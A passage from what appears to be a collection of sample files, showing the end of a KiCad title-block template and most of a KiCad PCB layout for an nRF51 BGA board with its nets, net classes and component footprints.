8.5) )\n    ( tbtext \"Rev: %R\" (pos 24 6.9)(font bold)(justify left) )\n    ( tbtext \"Size: %Z\" (comment \"Paper format name\")(pos 109 6.9) )\n    ( tbtext \"Id: %S/%N\" (comment \"Sheet id\")(pos 24 4.1) )\n    ( line (start 110 12.5) (end 2 12.5) )\n    ( tbtext \"Title: %T\" (pos 109 10.7)(font bold (size 2 2)) )\n    ( tbtext \"File: %F\" (pos 109 14.3) )\n    ( line (start 110 18.5) (end 2 18.5) )\n    ( tbtext \"Sheet: %P\" (pos 109 17) )\n    ( tbtext \"%Y\" (comment \"Company name\") (pos 109 20)(font bold) )\n    ( tbtext \"%C0\" (comment \"Comment 0\") (pos 109 23) )\n    ( tbtext \"%C1\" (comment \"Comment 1\") (pos 109 26) )\n    ( tbtext \"%C2\" (comment \"Comment 2\") (pos 109 29) )\n    ( tbtext \"%C3\" (comment \"Comment 3\") (pos 109 32) )\n    ( line (start 90 8.5) (end 90 5.5) )\n    ( line (start 26 8.5) (end 26 2) )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/nrf-bga.kicad_pcb",
    "content": "(kicad_pcb (version 4) (host pcbnew \"(2014-08-05 BZR 5054)-product\")\n\n  (general\n    (links 36)\n    (no_connects 0)\n    (area 146.9984 92.8984 164.465656 112.3572)\n    (thickness 1.6)\n    (drawings 0)\n    (tracks 108)\n    (zones 0)\n    (modules 12)\n    (nets 54)\n  )\n\n  (page A4)\n  (layers\n    (0 F.Cu signal)\n    (31 B.Cu signal)\n    (32 B.Adhes user)\n    (33 F.Adhes user)\n    (34 B.Paste user)\n    (35 F.Paste user)\n    (36 B.SilkS user)\n    (37 F.SilkS user)\n    (38 B.Mask user)\n    (39 F.Mask user)\n    (40 Dwgs.User user)\n    (41 Cmts.User user)\n    (42 Eco1.User user)\n    (43 Eco2.User user)\n    (44 Edge.Cuts user)\n    (45 Margin user)\n    (46 B.CrtYd user)\n    (47 F.CrtYd user)\n    (48 B.Fab user)\n    (49 F.Fab user)\n  )\n\n  (setup\n    (last_trace_width 0.1016)\n    (trace_clearance 0.1016)\n    (zone_clearance 0.2032)\n    (zone_45_only no)\n    (trace_min 0.1016)\n    (segment_width 0.2)\n    (edge_width 0.1)\n    (via_size 0.889)\n    (via_drill 0.635)\n    (via_min_size 0.889)\n    (via_min_drill 0.508)\n    (uvia_size 0.508)\n    (uvia_drill 0.127)\n    (uvias_allowed no)\n    (uvia_min_size 0.508)\n    (uvia_min_drill 0.127)\n    (pcb_text_width 0.3)\n    (pcb_text_size 1.5 1.5)\n    (mod_edge_width 0.15)\n    (mod_text_size 1 1)\n    (mod_text_width 0.15)\n    (pad_size 0.2 0.2)\n    (pad_drill 0)\n    (pad_to_mask_clearance 0)\n    (aux_axis_origin 0 0)\n    (visible_elements FFFCFF7F)\n    (pcbplotparams\n      (layerselection 0x00000_00000001)\n      (usegerberextensions false)\n      (excludeedgelayer true)\n      (linewidth 0.100000)\n      (plotframeref false)\n      (viasonmask false)\n      (mode 1)\n      (useauxorigin false)\n      (hpglpennumber 1)\n      (hpglpenspeed 20)\n      (hpglpendiameter 15)\n      (hpglpenoverlay 2)\n      (psnegative false)\n      (psa4output false)\n      (plotreference true)\n      (plotvalue true)\n      (plotinvisibletext false)\n      (padsonsilk false)\n      (subtractmaskfromsilk false)\n      (outputformat 5)\n      (mirror true)\n      (drillshape 0)\n      (scaleselection 1)\n      (outputdirectory pdfs/))\n  )\n\n  (net 0 \"\")\n  (net 1 \"Net-(C1-Pad1)\")\n  (net 2 GND)\n  (net 3 \"Net-(C2-Pad1)\")\n  (net 4 \"Net-(C3-Pad1)\")\n  (net 5 \"Net-(C4-Pad2)\")\n  (net 6 \"Net-(D1-Pad1)\")\n  (net 7 +BATT)\n  (net 8 SWDIO)\n  (net 9 SWCLK)\n  (net 10 LED)\n  (net 11 \"Net-(U1-PadC1)\")\n  (net 12 \"Net-(U1-PadD1)\")\n  (net 13 \"Net-(U1-PadG1)\")\n  (net 14 \"Net-(U1-PadE2)\")\n  (net 15 \"Net-(U1-PadF2)\")\n  (net 16 \"Net-(U1-PadG2)\")\n  (net 17 \"Net-(U1-PadE3)\")\n  (net 18 \"Net-(U1-PadF3)\")\n  (net 19 \"Net-(U1-PadG3)\")\n  (net 20 \"Net-(U1-PadH4)\")\n  (net 21 \"Net-(U1-PadA5)\")\n  (net 22 \"Net-(U1-PadB5)\")\n  (net 23 \"Net-(U1-PadC5)\")\n  (net 24 \"Net-(U1-PadH5)\")\n  (net 25 \"Net-(U1-PadA6)\")\n  (net 26 \"Net-(U1-PadB6)\")\n  (net 27 \"Net-(U1-PadC6)\")\n  (net 28 \"Net-(U1-PadH6)\")\n  (net 29 \"Net-(U1-PadA7)\")\n  (net 30 \"Net-(U1-PadB7)\")\n  (net 31 \"Net-(U1-PadC7)\")\n  (net 32 \"Net-(U1-PadE7)\")\n  (net 33 \"Net-(U1-PadF7)\")\n  (net 34 \"Net-(U1-PadG7)\")\n  (net 35 \"Net-(U1-PadH7)\")\n  (net 36 \"Net-(U1-PadA8)\")\n  (net 37 \"Net-(U1-PadD8)\")\n  (net 38 \"Net-(U1-PadE8)\")\n  (net 39 \"Net-(U1-PadF8)\")\n  (net 40 \"Net-(U1-PadG8)\")\n  (net 41 \"Net-(U1-PadH8)\")\n  (net 42 \"Net-(U1-PadE9)\")\n  (net 43 \"Net-(U1-PadF9)\")\n  (net 44 \"Net-(U1-PadH1)\")\n  (net 45 \"Net-(U1-PadJ3)\")\n  (net 46 \"Net-(U1-PadJ4)\")\n  (net 47 \"Net-(U1-PadJ5)\")\n  (net 48 \"Net-(U1-PadJ6)\")\n  (net 49 \"Net-(U1-PadJ7)\")\n  (net 50 \"Net-(U1-PadJ8)\")\n  (net 51 \"Net-(U1-PadH9)\")\n  (net 52 \"Net-(C5-Pad1)\")\n  (net 53 \"Net-(ANT1-Pad2)\")\n\n  (net_class Default \"This is the default net class.\"\n    (clearance 0.1016)\n    (trace_width 0.1016)\n    (via_dia 0.889)\n    (via_drill 0.635)\n    (uvia_dia 0.508)\n    (uvia_drill 0.127)\n    (add_net +BATT)\n    (add_net LED)\n    (add_net \"Net-(C1-Pad1)\")\n    (add_net \"Net-(C2-Pad1)\")\n    (add_net \"Net-(C3-Pad1)\")\n    (add_net \"Net-(C4-Pad2)\")\n    (add_net \"Net-(C5-Pad1)\")\n    (add_net \"Net-(D1-Pad1)\")\n    (add_net \"Net-(U1-PadA5)\")\n    (add_net \"Net-(U1-PadA6)\")\n    (add_net \"Net-(U1-PadA7)\")\n    (add_net \"Net-(U1-PadA8)\")\n    (add_net \"Net-(U1-PadB5)\")\n    (add_net \"Net-(U1-PadB6)\")\n    (add_net \"Net-(U1-PadB7)\")\n    (add_net \"Net-(U1-PadC1)\")\n    (add_net \"Net-(U1-PadC5)\")\n    (add_net \"Net-(U1-PadC6)\")\n    (add_net \"Net-(U1-PadC7)\")\n    (add_net \"Net-(U1-PadD1)\")\n    (add_net \"Net-(U1-PadD8)\")\n    (add_net \"Net-(U1-PadE2)\")\n    (add_net \"Net-(U1-PadE3)\")\n    (add_net \"Net-(U1-PadE7)\")\n    (add_net \"Net-(U1-PadE8)\")\n    (add_net \"Net-(U1-PadE9)\")\n    (add_net \"Net-(U1-PadF2)\")\n    (add_net \"Net-(U1-PadF3)\")\n    (add_net \"Net-(U1-PadF7)\")\n    (add_net \"Net-(U1-PadF8)\")\n    (add_net \"Net-(U1-PadF9)\")\n    (add_net \"Net-(U1-PadG1)\")\n    (add_net \"Net-(U1-PadG2)\")\n    (add_net \"Net-(U1-PadG3)\")\n    (add_net \"Net-(U1-PadG7)\")\n    (add_net \"Net-(U1-PadG8)\")\n    (add_net \"Net-(U1-PadH1)\")\n    (add_net \"Net-(U1-PadH4)\")\n    (add_net \"Net-(U1-PadH5)\")\n    (add_net \"Net-(U1-PadH6)\")\n    (add_net \"Net-(U1-PadH7)\")\n    (add_net \"Net-(U1-PadH8)\")\n    (add_net \"Net-(U1-PadH9)\")\n    (add_net \"Net-(U1-PadJ3)\")\n    (add_net \"Net-(U1-PadJ4)\")\n    (add_net \"Net-(U1-PadJ5)\")\n    (add_net \"Net-(U1-PadJ6)\")\n    (add_net \"Net-(U1-PadJ7)\")\n    (add_net \"Net-(U1-PadJ8)\")\n    (add_net SWCLK)\n    (add_net SWDIO)\n  )\n\n  (net_class ANT \"\"\n    (clearance 0.1016)\n    (trace_width 0.254)\n    (via_dia 0.889)\n    (via_drill 0.635)\n    (uvia_dia 0.508)\n    (uvia_drill 0.127)\n    (add_net GND)\n    (add_net \"Net-(ANT1-Pad2)\")\n  )\n\n  (module Capacitors_SMD:C_0402 (layer F.Cu) (tedit 5415D599) (tstamp 54B59067)\n    (at 153.75 102.5 270)\n    (descr \"Capacitor SMD 0402, reflow soldering, AVX (see smccp.pdf)\")\n    (tags \"capacitor 0402\")\n    (path /54B59137)\n    (attr smd)\n    (fp_text reference C1 (at 0 -1.7 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 12p (at 0 1.7 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.15 -0.6) (end 1.15 -0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 -0.6) (end -1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.15 -0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 0.25 -0.475) (end -0.25 -0.475) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.25 0.475) (end 0.25 0.475) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.55 0 270) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 1 \"Net-(C1-Pad1)\"))\n    (pad 2 smd rect (at 0.55 0 270) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (model Capacitors_SMD/C_0402.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module Capacitors_SMD:C_0402 (layer F.Cu) (tedit 5415D599) (tstamp 54B58E0D)\n    (at 159.004 100.711)\n    (descr \"Capacitor SMD 0402, reflow soldering, AVX (see smccp.pdf)\")\n    (tags \"capacitor 0402\")\n    (path /54B591B6)\n    (attr smd)\n    (fp_text reference C2 (at 0 -1.7) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 12p (at 0 1.7) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.15 -0.6) (end 1.15 -0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 -0.6) (end -1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.15 -0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 0.25 -0.475) (end -0.25 -0.475) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.25 0.475) (end 0.25 0.475) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.55 0) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 3 \"Net-(C2-Pad1)\"))\n    (pad 2 smd rect (at 0.55 0) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (model Capacitors_SMD/C_0402.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module Capacitors_SMD:C_0402 (layer F.Cu) (tedit 5415D599) (tstamp 54B59E9D)\n    (at 159.004 102.1588)\n    (descr \"Capacitor SMD 0402, reflow soldering, AVX (see smccp.pdf)\")\n    (tags \"capacitor 0402\")\n    (path /54B58D67)\n    (attr smd)\n    (fp_text reference C3 (at 0 -1.7) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 100n (at 0 1.7) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.15 -0.6) (end 1.15 -0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 -0.6) (end -1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.15 -0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 0.25 -0.475) (end -0.25 -0.475) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.25 0.475) (end 0.25 0.475) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.55 0) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 4 \"Net-(C3-Pad1)\"))\n    (pad 2 smd rect (at 0.55 0) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (model Capacitors_SMD/C_0402.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module Capacitors_SMD:C_0402 (layer F.Cu) (tedit 5415D599) (tstamp 54B58E25)\n    (at 154.15 106.55 90)\n    (descr \"Capacitor SMD 0402, reflow soldering, AVX (see smccp.pdf)\")\n    (tags \"capacitor 0402\")\n    (path /54B58DD5)\n    (attr smd)\n    (fp_text reference C4 (at 0 -1.7 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value 100n (at 0 1.7 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.15 -0.6) (end 1.15 -0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.15 -0.6) (end -1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.15 -0.6) (end 1.15 0.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 0.25 -0.475) (end -0.25 -0.475) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.25 0.475) (end 0.25 0.475) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.55 0 90) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad 2 smd rect (at 0.55 0 90) (size 0.6 0.5) (layers F.Cu F.Paste F.Mask)\n      (net 5 \"Net-(C4-Pad2)\"))\n    (model Capacitors_SMD/C_0402.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module SMD_Packages:SMD-0805 (layer F.Cu) (tedit 54B58D88) (tstamp 54B58E32)\n    (at 162.0266 104.9782 90)\n    (path /54B599BA)\n    (attr smd)\n    (fp_text reference D1 (at 0 -0.3175 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value LED (at 0 0.381 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center -1.651 0.762) (end -1.651 0.635) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.508 0.762) (end -1.524 0.762) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.524 0.762) (end -1.524 -0.762) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.524 -0.762) (end -0.508 -0.762) (layer F.SilkS) (width 0.15))\n    (fp_line (start 0.508 -0.762) (end 1.524 -0.762) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.524 -0.762) (end 1.524 0.762) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.524 0.762) (end 0.508 0.762) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.9525 0 90) (size 0.889 1.397) (layers F.Cu F.Paste F.Mask)\n      (net 6 \"Net-(D1-Pad1)\"))\n    (pad 2 smd rect (at 0.9525 0 90) (size 0.889 1.397) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (model SMD_Packages/SMD-0805.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 0.1000000014901161 0.1000000014901161 0.1000000014901161))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module Pin_Headers:Pin_Header_Straight_1x04 (layer F.Cu) (tedit 54B58D8A) (tstamp 54B58E41)\n    (at 156.7942 109.1946 180)\n    (descr \"Through hole pin header\")\n    (tags \"pin header\")\n    (path /54B593BB)\n    (fp_text reference P1 (at 0 -2.286 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value CONN_01X04 (at 0 0 180) (layer F.SilkS) hide\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -2.54 1.27) (end 5.08 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -2.54 -1.27) (end 5.08 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -5.08 -1.27) (end -2.54 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 5.08 1.27) (end 5.08 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -2.54 -1.27) (end -2.54 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -5.08 -1.27) (end -5.08 1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -5.08 1.27) (end -2.54 1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole rect (at -3.81 0 180) (size 1.7272 2.032) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 2 GND))\n    (pad 2 thru_hole oval (at -1.27 0 180) (size 1.7272 2.032) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 7 +BATT))\n    (pad 3 thru_hole oval (at 1.27 0 180) (size 1.7272 2.032) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 8 SWDIO))\n    (pad 4 thru_hole oval (at 3.81 0 180) (size 1.7272 2.032) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 9 SWCLK))\n    (model Pin_Headers/Pin_Header_Straight_1x04.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module Resistors_SMD:R_0603 (layer F.Cu) (tedit 5415CC62) (tstamp 54B59E20)\n    (at 160.0454 105.0544 270)\n    (descr \"Resistor SMD 0603, reflow soldering, Vishay (see dcrcw.pdf)\")\n    (tags \"resistor 0603\")\n    (path /54B59A45)\n    (attr smd)\n    (fp_text reference R1 (at 0 -1.9 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value R (at 0 1.9 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.3 -0.8) (end 1.3 -0.8) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.3 0.8) (end 1.3 0.8) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.3 -0.8) (end -1.3 0.8) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 1.3 -0.8) (end 1.3 0.8) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 0.5 0.675) (end -0.5 0.675) (layer F.SilkS) (width 0.15))\n    (fp_line (start -0.5 -0.675) (end 0.5 -0.675) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.75 0 270) (size 0.5 0.9) (layers F.Cu F.Paste F.Mask)\n      (net 10 LED))\n    (pad 2 smd rect (at 0.75 0 270) (size 0.5 0.9) (layers F.Cu F.Paste F.Mask)\n      (net 6 \"Net-(D1-Pad1)\"))\n    (model Resistors_SMD/R_0603.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module Crystals_Oscillators_SMD:CX2520DB (layer F.Cu) (tedit 544FEDED) (tstamp 54B58E9A)\n    (at 156.1084 101.3714)\n    (path /54B5903E)\n    (fp_text reference X1 (at 0 -2.25) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value CRYSTAL (at 0 2.5) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start -1.25 1) (end 1.25 1) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.25 1) (end 1.25 -1) (layer F.SilkS) (width 0.15))\n    (fp_line (start 1.25 -1) (end -1.25 -1) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.25 -1) (end -1.25 1) (layer F.SilkS) (width 0.15))\n    (pad 1 smd rect (at -0.9 0.65) (size 1.2 1) (layers F.Cu F.Paste F.Mask)\n      (net 1 \"Net-(C1-Pad1)\"))\n    (pad 2 smd rect (at 0.9 -0.65) (size 1.2 1) (layers F.Cu F.Paste F.Mask)\n      (net 3 \"Net-(C2-Pad1)\"))\n    (pad 3 smd rect (at 0.9 0.65) (size 1.2 1) (layers F.Cu F.Paste F.Mask))\n    (pad 4 smd rect (at -0.9 -0.65) (size 1.2 1) (layers F.Cu F.Paste F.Mask))\n  )\n\n  (module NRF51:WLCSP62 (layer F.Cu) (tedit 54B59368) (tstamp 54B59DAD)\n    (at 156.9212 105.1306)\n    (path /54B58C30)\n    (fp_text reference U1 (at 0 3.2) (layer F.SilkS)\n      (effects (font (size 1.2 1.2) (thickness 0.2)))\n    )\n    (fp_text value nRF51x22-CEAA (at 0 -3.2) (layer F.SilkS)\n      (effects (font (size 1.2 1.2) (thickness 0.2)))\n    )\n    (fp_line (start -1.6 -2) (end -2 -1.6) (layer F.SilkS) (width 0.2))\n    (fp_line (start -2 -1.6) (end -2 2) (layer F.SilkS) (width 0.2))\n    (fp_line (start -2 2) (end 2 2) (layer F.SilkS) (width 0.2))\n    (fp_line (start 2 2) (end 2 -2) (layer F.SilkS) (width 0.2))\n    (fp_line (start 2 -2) (end -1.6 -2) (layer F.SilkS) (width 0.2))\n    (pad A1 smd circle (at -1.6 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 7 +BATT))\n    (pad B1 smd circle (at -1.6 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad C1 smd circle (at -1.6 -0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 11 \"Net-(U1-PadC1)\"))\n    (pad D1 smd circle (at -1.6 -0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 12 \"Net-(U1-PadD1)\"))\n    (pad E1 smd circle (at -1.6 0) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 52 \"Net-(C5-Pad1)\"))\n    (pad F1 smd circle (at -1.6 0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 5 \"Net-(C4-Pad2)\"))\n    (pad G1 smd circle (at -1.6 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 13 \"Net-(U1-PadG1)\"))\n    (pad H1 smd circle (at -1.6 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 44 \"Net-(U1-PadH1)\"))\n    (pad A2 smd circle (at -1.2 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 1 \"Net-(C1-Pad1)\"))\n    (pad E2 smd circle (at -1.2 0) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 14 \"Net-(U1-PadE2)\"))\n    (pad F2 smd circle (at -1.2 0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 15 \"Net-(U1-PadF2)\"))\n    (pad G2 smd circle (at -1.2 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 16 \"Net-(U1-PadG2)\"))\n    (pad H2 smd circle (at -1.2 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 9 SWCLK))\n    (pad J2 smd circle (at -1.2 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 8 SWDIO))\n    (pad A3 smd circle (at -0.8 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 3 \"Net-(C2-Pad1)\"))\n    (pad E3 smd circle (at -0.8 0) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 17 \"Net-(U1-PadE3)\"))\n    (pad F3 smd circle (at -0.8 0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 18 \"Net-(U1-PadF3)\"))\n    (pad G3 smd circle (at -0.8 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 19 \"Net-(U1-PadG3)\"))\n    (pad H3 smd circle (at -0.8 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad J3 smd circle (at -0.8 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 45 \"Net-(U1-PadJ3)\"))\n    (pad A4 smd circle (at -0.4 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 4 \"Net-(C3-Pad1)\"))\n    (pad B4 smd circle (at -0.4 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad G4 smd circle (at -0.4 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad H4 smd circle (at -0.4 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 20 \"Net-(U1-PadH4)\"))\n    (pad J4 smd circle (at -0.4 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 46 \"Net-(U1-PadJ4)\"))\n    (pad A5 smd circle (at 0 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 21 \"Net-(U1-PadA5)\"))\n    (pad B5 smd circle (at 0 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 22 \"Net-(U1-PadB5)\"))\n    (pad C5 smd circle (at 0 -0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 23 \"Net-(U1-PadC5)\"))\n    (pad G5 smd circle (at 0 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad H5 smd circle (at 0 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 24 \"Net-(U1-PadH5)\"))\n    (pad J5 smd circle (at 0 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 47 \"Net-(U1-PadJ5)\"))\n    (pad A6 smd circle (at 0.4 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 25 \"Net-(U1-PadA6)\"))\n    (pad B6 smd circle (at 0.4 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 26 \"Net-(U1-PadB6)\"))\n    (pad C6 smd circle (at 0.4 -0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 27 \"Net-(U1-PadC6)\"))\n    (pad G6 smd circle (at 0.4 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad H6 smd circle (at 0.4 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 28 \"Net-(U1-PadH6)\"))\n    (pad J6 smd circle (at 0.4 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 48 \"Net-(U1-PadJ6)\"))\n    (pad A7 smd circle (at 0.8 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 29 \"Net-(U1-PadA7)\"))\n    (pad B7 smd circle (at 0.8 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 30 \"Net-(U1-PadB7)\"))\n    (pad C7 smd circle (at 0.8 -0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 31 \"Net-(U1-PadC7)\"))\n    (pad D7 smd circle (at 0.8 -0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad E7 smd circle (at 0.8 0) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 32 \"Net-(U1-PadE7)\"))\n    (pad F7 smd circle (at 0.8 0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 33 \"Net-(U1-PadF7)\"))\n    (pad G7 smd circle (at 0.8 0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 34 \"Net-(U1-PadG7)\"))\n    (pad H7 smd circle (at 0.8 1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 35 \"Net-(U1-PadH7)\"))\n    (pad J7 smd circle (at 0.8 1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 49 \"Net-(U1-PadJ7)\"))\n    (pad A8 smd circle (at 1.2 -1.6) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 36 \"Net-(U1-PadA8)\"))\n    (pad B8 smd circle (at 1.2 -1.2) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 7 +BATT))\n    (pad C8 smd circle (at 1.2 -0.8) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 2 GND))\n    (pad D8 smd circle (at 1.2 -0.4) (size 0.2 0.2) (layers F.Cu F.Paste F.Mask)\n      (net 37 \"Net-(U1-PadD8)\"))\n    (pad E8 smd 